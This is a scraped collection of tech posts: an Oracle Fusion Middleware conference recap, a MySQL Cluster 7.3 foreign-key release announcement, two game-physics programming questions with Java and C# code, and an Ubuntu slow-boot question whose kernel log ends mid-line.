2012 to securely host external facing applications like iStore Fig 4: Underwrites Labs deployed e-Business Suite on Exalogic to achieve performance gains Key takeaways are: - Fusion Middleware platform is certified with major Oracle Applications Unlimited offerings. Fusion Middleware is the underlying technological infrastructure for Fusion Apps - Customers choose Oracle Fusion Middleware to extend their applications (Apps Unlimited or Fusion Apps) to keep applications upgrade safe and prepare for Fusion Apps - Exalogic is an optimum platform to consolidate applications deployments and enhance performance

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  • Why Fusion Middleware matters to Oracle Applications and Fusion Applications customers?

    - by Harish Gaur
    Did you miss this general session on Monday morning presented by Amit Zavery, VP of Oracle Fusion Middleware Product Management? There will be a recording made available shortly and in the meanwhile, here is a recap. Amit presented 5 strategies customers can leverage today to extend their applications. Figure 1: 5 Oracle Fusion Middleware strategies to extend Oracle Applications & Oracle Fusion Apps 1. Engage Everyone – Provide intuitive and social experience for application users using Oracle WebCenter 2. Extend Enterprise – Extend Oracle Applications to mobile devices using Oracle ADF Mobile 3. Orchestrate Processes – Automate key organization processes across on-premise & cloud applications using Oracle BPM Suite & Oracle SOA Suite 4. Secure the core – Provide single sign-on and self-service provisioning across multiple apps using Oracle Identity Management 5. Optimize Performance – Leverage Exalogic stack to consolidate multiple instance and improve performance of Oracle Applications Session included 3 demonstrations to illustrate these strategies. 1. First demo highlighted significance of mobile applications for unlocking existing investment in Applications such as EBS. Using a native iPhone application interacting with e-Business Suite, demo showed how expense approval can be mobile enabled with enhanced visibility using BI dashboards. 2. Second demo showed how you can extend a banking process in Siebel and Oracle Policy Automation with Oracle BPM Suite.Process starts in Siebel with a customer requesting a loan, and then jumps to OPA for loan recommendations and decision making and loan processing with approvals in handled in BPM Suite. Once approvals are completed Siebel is updated to complete the process. 3. Final demo showcased FMW components inside Fusion Applications, specifically WebCenter. Boeing, Underwriter Laboratories and Electronic Arts joined this quest and discussed 3 different approaches of leveraging Fusion Middleware stack to maximize their investment in Oracle Applications and/or Fusion Applications technology. Let’s briefly review what these customers shared during the session: 1. Extend Fusion Applications We know that Oracle Fusion Middleware is the underlying technology infrastructure for Oracle Fusion Applications. Architecturally, Oracle Fusion Apps leverages several components of Oracle Fusion Middleware from Oracle WebCenter for rich collaborative interface, Oracle SOA Suite & Oracle BPM Suite for orchestrating key underlying processes to Oracle BIEE for dash boarding and analytics. Boeing talked about how they are using Oracle BPM Suite 11g, a key component of Oracle Fusion Middleware with Oracle Fusion Apps to transform their supply chain. Tim Murnin, Director of Supply Chain talked about Boeing’s 5 year supply chain transformation journey. Boeing’s Integrated and Information Management division began with automation of critical RFQ process using Oracle BPM Suite. This 1st phase resulted in 38% reduction in labor costs for RFP. As a next step in this effort, Boeing is now creating a platform to enable electronic Order Management. Fusion Apps are playing a significant role in this phase. Boeing has gone live with Oracle Fusion Product Hub and efforts are underway with Oracle Fusion Distributed Order Orchestration (DOO). So, where does Oracle BPM Suite 11g fit in this equation? Let me explain. Business processes within Fusion Apps are designed using 2 standards: Business Process Execution Language (BPEL) and Business Process Modeling Notation (BPMN). These processes can be easily configured using declarative set of tools. Boeing leverages Oracle BPM Suite 11g (which supports BPMN 2.0) and Oracle SOA Suite (which supports BPEL) to “extend” these applications. Traditionally, customizations are done within an app using native technologies. But, instead of making process changes within Fusion Apps, Boeing has taken an approach of building “extensions” layer on top of the application. Fig 2: Boeing’s use of Oracle BPM Suite to orchestrate key supply chain processes across Fusion Apps 2. Maximize Oracle Applications investment Fusion Middleware appeals not only to Fusion Apps customers, but is also leveraged by Oracle E-Business Suite, PeopleSoft, Siebel and JD Edwards customers significantly. Using Oracle BPM Suite and Oracle SOA Suite is the recommended extension strategy for Oracle Fusion Apps and Oracle Applications Unlimited customers. Electronic Arts, E-Business Suite customer, spoke about their strategy to transform their order-to-cash process using Oracle SOA Suite, Oracle Foundation Packs and Oracle BAM. Udesh Naicker, Sr Director of IT at Elecronic Arts (EA), discussed how growth of social and digital gaming had started to put tremendous pressure on EA’s existing IT infrastructure. He discussed the challenge with millions of micro-transactions coming from several sources – Microsoft Xbox, Paypal, several service providers. EA found Order-2-Cash processes stretched to their limits. They lacked visibility into these transactions across the entire value chain. EA began by consolidating their E-Business Suite R11 instances into single E-Business Suite R12. EA needed to cater to a variety of service requirements, connectivity methods, file formats, and information latency. Their integration strategy was tactical, i.e., using file uploads, TIBCO, SQL scripts. After consolidating E-Business suite, EA standardized their integration approach with Oracle SOA Suite and Oracle AIA Foundation Pack. Oracle SOA Suite is the platform used to extend E-Business Suite R12 and standardize 60+ interfaces across several heterogeneous systems including PeopleSoft, Demantra, SF.com, Workday, and Managed EDI services spanning on-premise, hosted and cloud applications. EA believes that Oracle SOA Suite 11g based extension strategy has helped significantly in the followings ways: - It helped them keep customizations out of E-Business Suite, thereby keeping EBS R12 vanilla and upgrade safe - Developers are now proficient in technology which is also leveraged by Fusion Apps. This has helped them prepare for adoption of Fusion Apps in the future Fig 3: Using Oracle SOA Suite & Oracle e-Business Suite, Electronic Arts built new platform for order processing 3. Consolidate apps and improve scalability Exalogic is an optimal platform for customers to consolidate their application deployments and enhance performance. Underwriter Laboratories talked about their strategy to run their mission critical applications including e-Business Suite on Exalogic. Christian Anschuetz, CIO of Underwriter Laboratories (UL) shared how UL is on a growth path - $1B to $2.5B in 5 years- and planning a significant business transformation from a not-for-profit to a for-profit business. To support this growth, UL is planning to simplify its IT environment and the deployment complexity associated with ERP applications and technology it runs on. Their current applications were deployed on variety of hardware platforms and lacked comprehensive disaster recovery architecture. UL embarked on a mission to deploy E-Business Suite on Exalogic. UL’s solution is unique because it is one of the first to deploy a large number of Oracle applications and related Fusion Middleware technologies (SOA, BI, Analytical Applications AIA Foundation Pack and AIA EBS to Siebel UCM prebuilt integration) on the combined Exalogic and Exadata environment. UL is planning to move to a virtualized architecture toward the end of 2012 to securely host external facing applications like iStore Fig 4: Underwrites Labs deployed e-Business Suite on Exalogic to achieve performance gains Key takeaways are: - Fusion Middleware platform is certified with major Oracle Applications Unlimited offerings. Fusion Middleware is the underlying technological infrastructure for Fusion Apps - Customers choose Oracle Fusion Middleware to extend their applications (Apps Unlimited or Fusion Apps) to keep applications upgrade safe and prepare for Fusion Apps - Exalogic is an optimum platform to consolidate applications deployments and enhance performance TAGS: Fusion Apps, Exalogic, BPM Suite, SOA Suite, e-Business Suite Integration

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  • MySQL Cluster 7.3 Labs Release – Foreign Keys Are In!

    - by Mat Keep
    0 0 1 1097 6254 Homework 52 14 7337 14.0 Normal 0 false false false EN-US JA X-NONE /* Style Definitions */ table.MsoNormalTable {mso-style-name:"Table Normal"; mso-tstyle-rowband-size:0; mso-tstyle-colband-size:0; mso-style-noshow:yes; mso-style-priority:99; mso-style-parent:""; mso-padding-alt:0cm 5.4pt 0cm 5.4pt; mso-para-margin:0cm; mso-para-margin-bottom:.0001pt; mso-pagination:widow-orphan; font-size:12.0pt; font-family:Cambria; mso-ascii-font-family:Cambria; mso-ascii-theme-font:minor-latin; mso-hansi-font-family:Cambria; mso-hansi-theme-font:minor-latin; mso-ansi-language:EN-US;} Summary (aka TL/DR): Support for Foreign Key constraints has been one of the most requested feature enhancements for MySQL Cluster. We are therefore extremely excited to announce that Foreign Keys are part of the first Labs Release of MySQL Cluster 7.3 – available for download, evaluation and feedback now! (Select the mysql-cluster-7.3-labs-June-2012 build) In this blog, I will attempt to discuss the design rationale, implementation, configuration and steps to get started in evaluating the first MySQL Cluster 7.3 Labs Release. Pace of Innovation It was only a couple of months ago that we announced the General Availability (GA) of MySQL Cluster 7.2, delivering 1 billion Queries per Minute, with 70x higher cross-shard JOIN performance, Memcached NoSQL key-value API and cross-data center replication.  This release has been a huge hit, with downloads and deployments quickly reaching record levels. The announcement of the first MySQL Cluster 7.3 Early Access lab release at today's MySQL Innovation Day event demonstrates the continued pace in Cluster development, and provides an opportunity for the community to evaluate and feedback on new features they want to see. What’s the Plan for MySQL Cluster 7.3? Well, Foreign Keys, as you may have gathered by now (!), and this is the focus of this first Labs Release. As with MySQL Cluster 7.2, we plan to publish a series of preview releases for 7.3 that will incrementally add new candidate features for a final GA release (subject to usual safe harbor statement below*), including: - New NoSQL APIs; - Features to automate the configuration and provisioning of multi-node clusters, on premise or in the cloud; - Performance and scalability enhancements; - Taking advantage of features in the latest MySQL 5.x Server GA. Design Rationale MySQL Cluster is designed as a “Not-Only-SQL” database. It combines attributes that enable users to blend the best of both relational and NoSQL technologies into solutions that deliver web scalability with 99.999% availability and real-time performance, including: Concurrent NoSQL and SQL access to the database; Auto-sharding with simple scale-out across commodity hardware; Multi-master replication with failover and recovery both within and across data centers; Shared-nothing architecture with no single point of failure; Online scaling and schema changes; ACID compliance and support for complex queries, across shards. Native support for Foreign Key constraints enables users to extend the benefits of MySQL Cluster into a broader range of use-cases, including: - Packaged applications in areas such as eCommerce and Web Content Management that prescribe databases with Foreign Key support. - In-house developments benefiting from Foreign Key constraints to simplify data models and eliminate the additional application logic needed to maintain data consistency and integrity between tables. Implementation The Foreign Key functionality is implemented directly within MySQL Cluster’s data nodes, allowing any client API accessing the cluster to benefit from them – whether using SQL or one of the NoSQL interfaces (Memcached, C++, Java, JPA or HTTP/REST.) The core referential actions defined in the SQL:2003 standard are implemented: CASCADE RESTRICT NO ACTION SET NULL In addition, the MySQL Cluster implementation supports the online adding and dropping of Foreign Keys, ensuring the Cluster continues to serve both read and write requests during the operation. An important difference to note with the Foreign Key implementation in InnoDB is that MySQL Cluster does not support the updating of Primary Keys from within the Data Nodes themselves - instead the UPDATE is emulated with a DELETE followed by an INSERT operation. Therefore an UPDATE operation will return an error if the parent reference is using a Primary Key, unless using CASCADE action, in which case the delete operation will result in the corresponding rows in the child table being deleted. The Engineering team plans to change this behavior in a subsequent preview release. Also note that when using InnoDB "NO ACTION" is identical to "RESTRICT". In the case of MySQL Cluster “NO ACTION” means “deferred check”, i.e. the constraint is checked before commit, allowing user-defined triggers to automatically make changes in order to satisfy the Foreign Key constraints. Configuration There is nothing special you have to do here – Foreign Key constraint checking is enabled by default. If you intend to migrate existing tables from another database or storage engine, for example from InnoDB, there are a couple of best practices to observe: 1. Analyze the structure of the Foreign Key graph and run the ALTER TABLE ENGINE=NDB in the correct sequence to ensure constraints are enforced 2. Alternatively drop the Foreign Key constraints prior to the import process and then recreate when complete. Getting Started Read this blog for a demonstration of using Foreign Keys with MySQL Cluster.  You can download MySQL Cluster 7.3 Labs Release with Foreign Keys today - (select the mysql-cluster-7.3-labs-June-2012 build) If you are new to MySQL Cluster, the Getting Started guide will walk you through installing an evaluation cluster on a singe host (these guides reflect MySQL Cluster 7.2, but apply equally well to 7.3) Post any questions to the MySQL Cluster forum where our Engineering team will attempt to assist you. Post any bugs you find to the MySQL bug tracking system (select MySQL Cluster from the Category drop-down menu) And if you have any feedback, please post them to the Comments section of this blog. Summary MySQL Cluster 7.2 is the GA, production-ready release of MySQL Cluster. This first Labs Release of MySQL Cluster 7.3 gives you the opportunity to preview and evaluate future developments in the MySQL Cluster database, and we are very excited to be able to share that with you. Let us know how you get along with MySQL Cluster 7.3, and other features that you want to see in future releases. * Safe Harbor Statement This information is intended to outline our general product direction. It is intended for information purposes only, and may not be incorporated into any contract. It is not a commitment to deliver any material, code, or functionality, and should not be relied upon in making purchasing decisions. The development, release, and timing of any features or functionality described for Oracle’s products remains at the sole discretion of Oracle.

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  • Converting 2D Physics to 3D.

    - by static void main
    I'm new to game physics and I am trying to adapt a simple 2D ball simulation for a 3D simulation with the Java3D library. I have this problem: Two things: 1) I noted down the values generated by the engine: X/Y are too high and minX/minY/maxY/maxX values are causing trouble. Sometimes the balls are drawing but not moving Sometimes they are going out of the panel Sometimes they're moving on little area Sometimes they just stick at one place... 2) I'm unable to select/define/set the default correct/suitable values considering the 3D graphics scaling/resolution while they are set with respect to 2D screen coordinates, that is my only problem. Please help. This is the code: public class Ball extends GameObject { private float x, y; // Ball's center (x, y) private float speedX, speedY; // Ball's speed per step in x and y private float radius; // Ball's radius // Collision detected by collision detection and response algorithm? boolean collisionDetected = false; // If collision detected, the next state of the ball. // Otherwise, meaningless. private float nextX, nextY; private float nextSpeedX, nextSpeedY; private static final float BOX_WIDTH = 640; private static final float BOX_HEIGHT = 480; /** * Constructor The velocity is specified in polar coordinates of speed and * moveAngle (for user friendliness), in Graphics coordinates with an * inverted y-axis. */ public Ball(String name1,float x, float y, float radius, float speed, float angleInDegree, Color color) { this.x = x; this.y = y; // Convert velocity from polar to rectangular x and y. this.speedX = speed * (float) Math.cos(Math.toRadians(angleInDegree)); this.speedY = speed * (float) Math.sin(Math.toRadians(angleInDegree)); this.radius = radius; } public void move() { if (collisionDetected) { // Collision detected, use the values computed. x = nextX; y = nextY; speedX = nextSpeedX; speedY = nextSpeedY; } else { // No collision, move one step and no change in speed. x += speedX; y += speedY; } collisionDetected = false; // Clear the flag for the next step } public void collideWith() { // Get the ball's bounds, offset by the radius of the ball float minX = 0.0f + radius; float minY = 0.0f + radius; float maxX = 0.0f + BOX_WIDTH - 1.0f - radius; float maxY = 0.0f + BOX_HEIGHT - 1.0f - radius; double gravAmount = 0.9811111f; double gravDir = (90 / 57.2960285258); // Try moving one full step nextX = x + speedX; nextY = y + speedY; System.out.println("In serializedBall in collision."); // If collision detected. Reflect on the x or/and y axis // and place the ball at the point of impact. if (speedX != 0) { if (nextX > maxX) { // Check maximum-X bound collisionDetected = true; nextSpeedX = -speedX; // Reflect nextSpeedY = speedY; // Same nextX = maxX; nextY = (maxX - x) * speedY / speedX + y; // speedX non-zero } else if (nextX < minX) { // Check minimum-X bound collisionDetected = true; nextSpeedX = -speedX; // Reflect nextSpeedY = speedY; // Same nextX = minX; nextY = (minX - x) * speedY / speedX + y; // speedX non-zero } } // In case the ball runs over both the borders. if (speedY != 0) { if (nextY > maxY) { // Check maximum-Y bound collisionDetected = true; nextSpeedX = speedX; // Same nextSpeedY = -speedY; // Reflect nextY = maxY; nextX = (maxY - y) * speedX / speedY + x; // speedY non-zero } else if (nextY < minY) { // Check minimum-Y bound collisionDetected = true; nextSpeedX = speedX; // Same nextSpeedY = -speedY; // Reflect nextY = minY; nextX = (minY - y) * speedX / speedY + x; // speedY non-zero } } speedX += Math.cos(gravDir) * gravAmount; speedY += Math.sin(gravDir) * gravAmount; } public float getSpeed() { return (float) Math.sqrt(speedX * speedX + speedY * speedY); } public float getMoveAngle() { return (float) Math.toDegrees(Math.atan2(speedY, speedX)); } public float getRadius() { return radius; } public float getX() { return x; } public float getY() { return y; } public void setX(float f) { x = f; } public void setY(float f) { y = f; } } Here's how I'm drawing the balls: public class 3DMovingBodies extends Applet implements Runnable { private static final int BOX_WIDTH = 800; private static final int BOX_HEIGHT = 600; private int currentNumBalls = 1; // number currently active private volatile boolean playing; private long mFrameDelay; private JFrame frame; private int currentFrameRate; private Ball[] ball = new Ball[currentNumBalls]; private Random rand; private Sphere[] sphere = new Sphere[currentNumBalls]; private Transform3D[] trans = new Transform3D[currentNumBalls]; private TransformGroup[] objTrans = new TransformGroup[currentNumBalls]; public 3DMovingBodies() { rand = new Random(); float angleInDegree = rand.nextInt(360); setLayout(new BorderLayout()); GraphicsConfiguration config = SimpleUniverse .getPreferredConfiguration(); Canvas3D c = new Canvas3D(config); add("Center", c); ball[0] = new Ball(0.5f, 0.0f, 0.5f, 0.4f, angleInDegree, Color.yellow); // ball[1] = new Ball(1.0f, 0.0f, 0.25f, 0.8f, angleInDegree, // Color.yellow); // ball[2] = new Ball(0.0f, 1.0f, 0.15f, 0.11f, angleInDegree, // Color.yellow); trans[0] = new Transform3D(); // trans[1] = new Transform3D(); // trans[2] = new Transform3D(); sphere[0] = new Sphere(0.5f); // sphere[1] = new Sphere(0.25f); // sphere[2] = new Sphere(0.15f); // Create a simple scene and attach it to the virtual universe BranchGroup scene = createSceneGraph(); SimpleUniverse u = new SimpleUniverse(c); u.getViewingPlatform().setNominalViewingTransform(); u.addBranchGraph(scene); startSimulation(); } public BranchGroup createSceneGraph() { // Create the root of the branch graph BranchGroup objRoot = new BranchGroup(); for (int i = 0; i < currentNumBalls; i++) { // Create a simple shape leaf node, add it to the scene graph. objTrans[i] = new TransformGroup(); objTrans[i].setCapability(TransformGroup.ALLOW_TRANSFORM_WRITE); Transform3D pos1 = new Transform3D(); pos1.setTranslation(randomPos()); objTrans[i].setTransform(pos1); objTrans[i].addChild(sphere[i]); objRoot.addChild(objTrans[i]); } BoundingSphere bounds = new BoundingSphere(new Point3d(0.0, 0.0, 0.0), 100.0); Color3f light1Color = new Color3f(1.0f, 0.0f, 0.2f); Vector3f light1Direction = new Vector3f(4.0f, -7.0f, -12.0f); DirectionalLight light1 = new DirectionalLight(light1Color, light1Direction); light1.setInfluencingBounds(bounds); objRoot.addChild(light1); // Set up the ambient light Color3f ambientColor = new Color3f(1.0f, 1.0f, 1.0f); AmbientLight ambientLightNode = new AmbientLight(ambientColor); ambientLightNode.setInfluencingBounds(bounds); objRoot.addChild(ambientLightNode); return objRoot; } public void startSimulation() { playing = true; Thread t = new Thread(this); t.start(); } public void stop() { playing = false; } public void run() { long previousTime = System.currentTimeMillis(); long currentTime = previousTime; long elapsedTime; long totalElapsedTime = 0; int frameCount = 0; while (true) { currentTime = System.currentTimeMillis(); elapsedTime = (currentTime - previousTime); // elapsed time in // seconds totalElapsedTime += elapsedTime; if (totalElapsedTime > 1000) { currentFrameRate = frameCount; frameCount = 0; totalElapsedTime = 0; } for (int i = 0; i < currentNumBalls; i++) { ball[i].move(); ball[i].collideWith(); drawworld(); } try { Thread.sleep(88); } catch (Exception e) { e.printStackTrace(); } previousTime = currentTime; frameCount++; } } public void drawworld() { for (int i = 0; i < currentNumBalls; i++) { printTG(objTrans[i], "SteerTG"); trans[i].setTranslation(new Vector3f(ball[i].getX(), ball[i].getY(), 0.0f)); objTrans[i].setTransform(trans[i]); } } private Vector3f randomPos() /* * Return a random position vector. The numbers are hardwired to be within * the confines of the box. */ { Vector3f pos = new Vector3f(); pos.x = rand.nextFloat() * 5.0f - 2.5f; // -2.5 to 2.5 pos.y = rand.nextFloat() * 2.0f + 0.5f; // 0.5 to 2.5 pos.z = rand.nextFloat() * 5.0f - 2.5f; // -2.5 to 2.5 return pos; } // end of randomPos() public static void main(String[] args) { System.out.println("Program Started"); 3DMovingBodiesbb = new 3DMovingBodies(); bb.addKeyListener(bb); MainFrame mf = new MainFrame(bb, 600, 400); } }

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  • Sliding collision response

    - by dbostream
    I have been reading plenty of tutorials about sliding collision responses yet I am not able to implement it properly in my project. What I want to do is make a puck slide along the rounded corner boards of a hockey rink. In my latest attempt the puck does slide along the boards but there are some strange velocity behaviors. First of all the puck slows down a lot pretty much right away and then it slides for awhile and stops before exiting the corner. Even if I double the speed I get a similar behavior and the puck does not make it out of the corner. I used some ideas from this document http://www.peroxide.dk/papers/collision/collision.pdf. This is what I have: Update method called from the game loop when it is time to update the puck (I removed some irrelevant parts). I use two states (current, previous) which are used to interpolate the position during rendering. public override void Update(double fixedTimeStep) { /* Acceleration is set to 0 for now. */ Acceleration.Zero(); PreviousState = CurrentState; _collisionRecursionDepth = 0; CurrentState.Position = SlidingCollision(CurrentState.Position, CurrentState.Velocity * fixedTimeStep + 0.5 * Acceleration * fixedTimeStep * fixedTimeStep); /* Should not this be affected by a sliding collision? and not only the position. */ CurrentState.Velocity = CurrentState.Velocity + Acceleration * fixedTimeStep; Heading = Vector2.NormalizeRet(CurrentState.Velocity); } private Vector2 SlidingCollision(Vector2 position, Vector2 velocity) { if(_collisionRecursionDepth > 5) return position; bool collisionFound = false; Vector2 futurePosition = position + velocity; Vector2 intersectionPoint = new Vector2(); Vector2 intersectionPointNormal = new Vector2(); /* I did not include the collision detection code, if a collision is detected the intersection point and normal in that point is returned. */ if(!collisionFound) return futurePosition; /* If no collision was detected it is safe to move to the future position. */ /* It is not exactly the intersection point, but slightly before. */ Vector2 newPosition = intersectionPoint; /* oldVelocity is set to the distance from the newPosition(intersection point) to the position it had moved to had it not collided. */ Vector2 oldVelocity = futurePosition - newPosition; /* Project the distance left to move along the intersection normal. */ Vector2 newVelocity = oldVelocity - intersectionPointNormal * oldVelocity.DotProduct(intersectionPointNormal); if(newVelocity.LengthSq() < 0.001) return newPosition; /* If almost no speed, no need to continue. */ _collisionRecursionDepth++; return SlidingCollision(newPosition, newVelocity); } What am I doing wrong with the velocity? I have been staring at this for very long so I have gone blind. I have tried different values of recursion depth but it does not seem to make it better. Let me know if you need more information. I appreciate any help. EDIT: A combination of Patrick Hughes' and teodron's answers solved the velocity problem (I think), thanks a lot! This is the new code: I decided to use a separate recursion method now too since I don't want to recalculate the acceleration in each recursion. public override void Update(double fixedTimeStep) { Acceleration.Zero();// = CalculateAcceleration(fixedTimeStep); PreviousState = new MovingEntityState(CurrentState.Position, CurrentState.Velocity); CurrentState = SlidingCollision(CurrentState, fixedTimeStep); Heading = Vector2.NormalizeRet(CurrentState.Velocity); } private MovingEntityState SlidingCollision(MovingEntityState state, double timeStep) { bool collisionFound = false; /* Calculate the next position given no detected collision. */ Vector2 futurePosition = state.Position + state.Velocity * timeStep; Vector2 intersectionPoint = new Vector2(); Vector2 intersectionPointNormal = new Vector2(); /* I did not include the collision detection code, if a collision is detected the intersection point and normal in that point is returned. */ /* If no collision was detected it is safe to move to the future position. */ if (!collisionFound) return new MovingEntityState(futurePosition, state.Velocity); /* Set new position to the intersection point (slightly before). */ Vector2 newPosition = intersectionPoint; /* Project the new velocity along the intersection normal. */ Vector2 newVelocity = state.Velocity - 1.90 * intersectionPointNormal * state.Velocity.DotProduct(intersectionPointNormal); /* Calculate the time of collision. */ double timeOfCollision = Math.Sqrt((newPosition - state.Position).LengthSq() / (futurePosition - state.Position).LengthSq()); /* Calculate new time step, remaining time of full step after the collision * current time step. */ double newTimeStep = timeStep * (1 - timeOfCollision); return SlidingCollision(new MovingEntityState(newPosition, newVelocity), newTimeStep); } Even though the code above seems to slide the puck correctly please have a look at it. I have a few questions, if I don't multiply by 1.90 in the newVelocity calculation it doesn't work (I get a stack overflow when the puck enters the corner because the timeStep decreases very slowly - a collision is found early in every recursion), why is that? what does 1.90 really do and why 1.90? Also I have a new problem, the puck does not move parallell to the short side after exiting the curve; to be more exact it moves outside the rink (I am not checking for any collisions with the short side at the moment). When I perform the collision detection I first check that the puck is in the correct quadrant. For example bottom-right corner is quadrant four i.e. circleCenter.X < puck.X && circleCenter.Y puck.Y is this a problem? or should the short side of the rink be the one to make the puck go parallell to it and not the last collision in the corner? EDIT2: This is the code I use for collision detection, maybe it has something to do with the fact that I can't make the puck slide (-1.0) but only reflect (-2.0): /* Point is the current position (not the predicted one) and quadrant is 4 for the bottom-right corner for example. */ if (GeometryHelper.PointInCircleQuadrant(circleCenter, circleRadius, state.Position, quadrant)) { /* The line is: from = state.Position, to = futurePosition. So a collision is detected when from is inside the circle and to is outside. */ if (GeometryHelper.LineCircleIntersection2d(state.Position, futurePosition, circleCenter, circleRadius, intersectionPoint, quadrant)) { collisionFound = true; /* Set the intersection point to slightly before the real intersection point (I read somewhere this was good to do because of floting point precision, not sure exactly how much though). */ intersectionPoint = intersectionPoint - Vector2.NormalizeRet(state.Velocity) * 0.001; /* Normal at the intersection point. */ intersectionPointNormal = Vector2.NormalizeRet(circleCenter - intersectionPoint) } } When I set the intersection point, if I for example use 0.1 instead of 0.001 the puck travels further before it gets stuck, but for all values I have tried (including 0 - the real intersection point) it gets stuck somewhere (but I necessarily not get a stack overflow). Can something in this part be the cause of my problem? I can see why I get the stack overflow when using -1.0 when calculating the new velocity vector; but not how to solve it. I traced the time steps used in the recursion (initial time step is always 1/60 ~ 0.01666): Recursion depth Time step next recursive call [Start recursion, time step ~ 0.016666] 0 0,000985806527246773 [No collision, stop recursion] [Start recursion, time step ~ 0.016666] 0 0,0149596704364629 1 0,0144883449376379 2 0,0143155612984837 3 0,014224925727213 4 0,0141673917461608 5 0,0141265435314026 6 0,0140953966184117 7 0,0140704653746625 ...and so on. As you can see the collision is detected early in every recursive call which means the next time step decreases very slowly thus the recursion depth gets very big - stack overflow.

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  • How do I prevent missing network from slowing down boot-up?

    - by Ravi S Ghosh
    I have been having rather slow boot on Ubuntu 12.04. Lately, I tried to figure out the reason and it seems to be the network connection which does not get connected and requires multiple attempts. Here is part of dmesg [ 2.174349] EXT4-fs (sda2): INFO: recovery required on readonly filesystem [ 2.174352] EXT4-fs (sda2): write access will be enabled during recovery [ 2.308172] firewire_core: created device fw0: GUID 384fc00005198d58, S400 [ 2.333457] usb 7-1.2: new low-speed USB device number 3 using uhci_hcd [ 2.465896] EXT4-fs (sda2): recovery complete [ 2.466406] EXT4-fs (sda2): mounted filesystem with ordered data mode. Opts: (null) [ 2.589440] usb 7-1.3: new low-speed USB device number 4 using uhci_hcd **[ 18.292029] ADDRCONF(NETDEV_UP): eth0: link is not ready** [ 18.458958] udevd[377]: starting version 175 [ 18.639482] Adding 4200960k swap on /dev/sda5. Priority:-1 extents:1 across:4200960k [ 19.314127] wmi: Mapper loaded [ 19.426602] r592 0000:09:01.2: PCI INT B -> GSI 18 (level, low) -> IRQ 18 [ 19.426739] r592: driver successfully loaded [ 19.460105] input: Dell WMI hotkeys as /devices/virtual/input/input5 [ 19.493629] lp: driver loaded but no devices found [ 19.497012] cfg80211: Calling CRDA to update world regulatory domain [ 19.535523] ACPI Warning: _BQC returned an invalid level (20110623/video-480) [ 19.539457] acpi device:03: registered as cooling_device2 [ 19.539520] input: Video Bus as /devices/LNXSYSTM:00/device:00/PNP0A08:00/device:01/LNXVIDEO:00/input/input6 [ 19.539568] ACPI: Video Device [M86] (multi-head: yes rom: no post: no) [ 19.578060] Linux video capture interface: v2.00 [ 19.667708] dcdbas dcdbas: Dell Systems Management Base Driver (version 5.6.0-3.2) [ 19.763171] r852 0000:09:01.3: PCI INT B -> GSI 18 (level, low) -> IRQ 18 [ 19.763258] r852: driver loaded successfully [ 19.854769] input: Microsoft Comfort Curve Keyboard 2000 as /devices/pci0000:00/0000:00:1d.1/usb7/7-1/7-1.2/7-1.2:1.0/input/input7 [ 19.854864] generic-usb 0003:045E:00DD.0001: input,hidraw0: USB HID v1.11 Keyboard [Microsoft Comfort Curve Keyboard 2000] on usb-0000:00:1d.1-1.2/input0 [ 19.878605] input: Microsoft Comfort Curve Keyboard 2000 as /devices/pci0000:00/0000:00:1d.1/usb7/7-1/7-1.2/7-1.2:1.1/input/input8 [ 19.878698] generic-usb 0003:045E:00DD.0002: input,hidraw1: USB HID v1.11 Device [Microsoft Comfort Curve Keyboard 2000] on usb-0000:00:1d.1-1.2/input1 [ 19.902779] input: DELL DELL USB Laser Mouse as /devices/pci0000:00/0000:00:1d.1/usb7/7-1/7-1.3/7-1.3:1.0/input/input9 [ 19.925034] generic-usb 0003:046D:C063.0003: input,hidraw2: USB HID v1.10 Mouse [DELL DELL USB Laser Mouse] on usb-0000:00:1d.1-1.3/input0 [ 19.925057] usbcore: registered new interface driver usbhid [ 19.925059] usbhid: USB HID core driver [ 19.942362] uvcvideo: Found UVC 1.00 device Laptop_Integrated_Webcam_2M (0c45:63ea) [ 19.947004] input: Laptop_Integrated_Webcam_2M as /devices/pci0000:00/0000:00:1a.7/usb1/1-6/1-6:1.0/input/input10 [ 19.947075] usbcore: registered new interface driver uvcvideo [ 19.947077] USB Video Class driver (1.1.1) [ 20.145232] Intel(R) Wireless WiFi Link AGN driver for Linux, in-tree: [ 20.145235] Copyright(c) 2003-2011 Intel Corporation [ 20.145327] iwlwifi 0000:04:00.0: PCI INT A -> GSI 17 (level, low) -> IRQ 17 [ 20.145357] iwlwifi 0000:04:00.0: setting latency timer to 64 [ 20.145402] iwlwifi 0000:04:00.0: pci_resource_len = 0x00002000 [ 20.145404] iwlwifi 0000:04:00.0: pci_resource_base = ffffc90000674000 [ 20.145407] iwlwifi 0000:04:00.0: HW Revision ID = 0x0 [ 20.145531] iwlwifi 0000:04:00.0: irq 46 for MSI/MSI-X [ 20.145613] iwlwifi 0000:04:00.0: Detected Intel(R) WiFi Link 5100 AGN, REV=0x54 [ 20.145720] iwlwifi 0000:04:00.0: L1 Enabled; Disabling L0S [ 20.167535] iwlwifi 0000:04:00.0: device EEPROM VER=0x11f, CALIB=0x4 [ 20.167538] iwlwifi 0000:04:00.0: Device SKU: 0Xf0 [ 20.167567] iwlwifi 0000:04:00.0: Tunable channels: 13 802.11bg, 24 802.11a channels [ 20.172779] fglrx: module license 'Proprietary. (C) 2002 - ATI Technologies, Starnberg, GERMANY' taints kernel. [ 20.172783] Disabling lock debugging due to kernel taint [ 20.250115] [fglrx] Maximum main memory to use for locked dma buffers: 3759 MBytes. [ 20.250567] [fglrx] vendor: 1002 device: 9553 count: 1 [ 20.251256] [fglrx] ioport: bar 1, base 0x2000, size: 0x100 [ 20.251271] pci 0000:01:00.0: PCI INT A -> GSI 16 (level, low) -> IRQ 16 [ 20.251277] pci 0000:01:00.0: setting latency timer to 64 [ 20.251559] [fglrx] Kernel PAT support is enabled [ 20.251578] [fglrx] module loaded - fglrx 8.96.4 [Mar 12 2012] with 1 minors [ 20.310385] iwlwifi 0000:04:00.0: loaded firmware version 8.83.5.1 build 33692 [ 20.310598] Registered led device: phy0-led [ 20.310628] cfg80211: Ignoring regulatory request Set by core since the driver uses its own custom regulatory domain [ 20.372306] ieee80211 phy0: Selected rate control algorithm 'iwl-agn-rs' [ 20.411015] psmouse serio1: synaptics: Touchpad model: 1, fw: 7.2, id: 0x1c0b1, caps: 0xd04733/0xa40000/0xa0000 [ 20.454232] input: SynPS/2 Synaptics TouchPad as /devices/platform/i8042/serio1/input/input11 [ 20.545636] cfg80211: Ignoring regulatory request Set by core since the driver uses its own custom regulatory domain [ 20.545640] cfg80211: World regulatory domain updated: [ 20.545642] cfg80211: (start_freq - end_freq @ bandwidth), (max_antenna_gain, max_eirp) [ 